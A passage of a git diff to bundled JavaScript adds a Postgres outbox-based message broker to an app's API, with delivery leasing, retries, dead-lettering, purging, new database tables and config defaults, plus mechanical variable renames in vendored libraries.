DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79946,6 +80486,16 @@ function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79977,7 +80527,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -80490,6 +81040,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var tokenVerifier = createTokenVerifierConfig(env); diff --git a/api/profile/index.js b/api/profile/index.js index 68e25a2..292b090 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max2 = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max2 === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max2 - Date.now())); const result2 = Atomics.waitAsync(state, index2, current, remaining); if (result2.async) { - result2.value.then(check2); + result2.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max2 = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module2.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -20317,13 +20317,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap2 = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap2, wrap2); @@ -20336,11 +20336,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop4; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop4() { @@ -64366,7 +64366,7 @@ var require_promise2 = __commonJS({ var nodebackForPromise = require_nodeback(); var errorObj2 = util.errorObj; var tryCatch2 = util.tryCatch; - function check2(self2, executor) { + function check3(self2, executor) { if (typeof executor !== "function") { throw new TypeError2("expecting a function but got " + util.classString(executor)); } @@ -64381,7 +64381,7 @@ var require_promise2 = __commonJS({ this._promise0 = void 0; this._receiver0 = void 0; if (executor !== INTERNAL2) { - check2(this, executor); + check3(this, executor); this._resolveFromExecutor(executor); } this._promiseCreated(); @@ -88056,9 +88056,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -101586,8 +101591,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -109153,6 +109158,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -113249,6 +113281,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -113703,6 +113738,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -113855,20 +113944,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values3) { + return sql.join( + values3.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result2 = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result2; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result2.processed + result2.failed + result2.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result2[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result2.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result2; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table2 = schema_exports.eventConsumers; + const rows = await this.db.insert(table2).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table2.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table2.eventTypes} @> excluded.event_types THEN ${table2.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table2.consumer, + materializedThrough: sql`${table2.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND 